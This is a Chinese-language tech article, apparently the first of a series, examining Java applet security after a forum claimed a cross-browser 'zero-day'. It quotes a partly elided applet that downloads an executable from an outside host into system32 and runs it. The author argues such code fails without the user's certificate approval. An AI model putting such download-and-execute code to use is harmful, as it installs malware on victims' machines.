【IT168专稿】引言
因为一个0day,让作者对java applet心血来潮,随着不断的失败,发现了一个又一个安全特性。本文提醒大家,除了activeX,还有这么一种东西,一旦出现了安全隐患,也会帮大家做些什么。如果你要找“0DAY”,请掠过;如果你要找“如何使用APPLET下载木马”,请看下集;如果你喜欢研究“applet可能存在的安全隐患”,请从这里开始。
第一部分 一个“0day”狂想
最近常听见有朋友说“只有跨站执行脚本才是王道”,但是我想,每一门艺术(技术),都有自己的独到的美(特性),就像后门除了使用“特洛伊”,还有可以用很多微小的途径,拼合起来,就可能达到比它更加完美的效果。
论坛上某帖发出一篇通杀FF和IE的0DAY代码:
Import java.applet.Applet;//加载applet包。。。。。。。。。。。。。。。。。。。。。。。省略publicclassClientextendsApplet//继承applet{publicvoidstart()//重写applet的主要方法{
。。。。。。。。。。。。。。。。。。。。。。。省略
System.out.println(“aaa”);//如果进入了这个方法,会打印“aaa”URL url=newURL("http://www.blackhathackerz.com/applet/Client.exe");//楼上代码,定义了要从这个地址中拿文件。bufferedoutputstream=newBufferedOutputStream(newFileOutputStream("C:\\windows\\system32 //楼上把拿下来的文件放到system32下\\Client.exe"));URLConnection urlconnection=url.openConnection();//打开SOCKET链接inputstream=urlconnection.getInputStream();//取得文件的流byteabyte0[]=newbyte[1024];inti;for(longl=0L; (i=inputstream.read(abyte0))!=-1; l+=i)
bufferedoutputstream.write(abyte0,0, i);//把文件写入。。。。。。。。。。。。。。。。。。。。。。。省略
Runtime runtime=Runtime.getRuntime();try{
Process process=runtime.exec("C:\\windows\\system32\\Client.exe");//楼上要去执行文件。。。。。。。。。。。。。。。。。。。。。。。省略
说实话,刚拿到代码时很兴奋,看起来只要用户只要浏览applet的页面,就可以自动执行JAVA(applet),在用户的机器上乱写乱画。这是多么美妙的事情啊,只要用户装了jre,就完蛋了。于是跟贴发表评论,解读这段代码的含义,甚至还发表了改进的看法。但是等朋友让我写出改进的代码,才在不断的实践中发现自己的回帖完全是纸上谈兵。
Java applet可以用来点缀html的页面,让它更加花哨,更加吸引MM的目光。某种程度上,它和微软的activeX是一个级别的,都是用来扩展HTML效果。如果搜索“java applet”,可能会搜索到《java applet向activeX下跪》这篇文章,applet曾经风光一时,后来被微软的activeX垄断。但是毕竟功能还在,也就是说,值得探究的安全性因素还在。虽然必须要安装JRE环境才可以执行,但是毕竟可以“祸害一部分人”,随着sun的“进一步战略”,也许这个家伙有一天还会冒出来。
在网上找了applet安全的文章,也就那么可怜兮兮的几篇。大概内容都是先列举了他的写文件代码,然后告诉读者这些危险动作默认是不可做的,只有用户同意了安全证书,才会在用户的policy里加入“读,写,执行”等权限。但是你如果真的在问用户“嘿!哥们儿,咱有个东西,你先点同意,同意我在哥们儿脸上写点东西,同意我看看哥们儿暗恋的MM,同意我控制哥们儿几天,同意。。。。”。作者没那么深的钓鱼功力让用户签订不平等条约,所以,本文就不探讨当用户签订安全证书后发生的安全隐患了,因为那真的等于让用户使用最高权限执行一段不可预知的代码。
要研究applet的安全,首先要打开浏览器(IE,FF),工具--?SUN java控制台,右下角会出现冒火的咖啡,右键选择“打开控制面板”,打开“高级”选项卡,选中“调试”里的勾。